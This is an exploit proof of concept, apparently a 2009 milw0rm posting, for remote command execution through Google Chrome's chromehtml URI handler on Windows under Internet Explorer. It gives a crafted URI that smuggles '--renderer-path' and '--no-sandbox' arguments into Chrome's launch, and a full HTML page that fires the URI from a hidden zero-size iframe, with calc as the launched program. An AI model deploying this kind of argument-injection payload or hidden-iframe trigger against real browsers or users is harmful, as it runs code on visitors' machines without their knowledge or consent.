Try this:
chromehtml:"%20--renderer-path="calc"%20--no-sandbox
Disabling sandbox does matter :)
Tested with Google Chrome Chrome 1.0.154.46 on Win XP/Vista and IE6/IE7 and it works ...
Full PoC:
<html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head>
<body>
<h3>This is a test</h3>
<iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe>
</body></html>
# milw0rm.com [2009-01-30]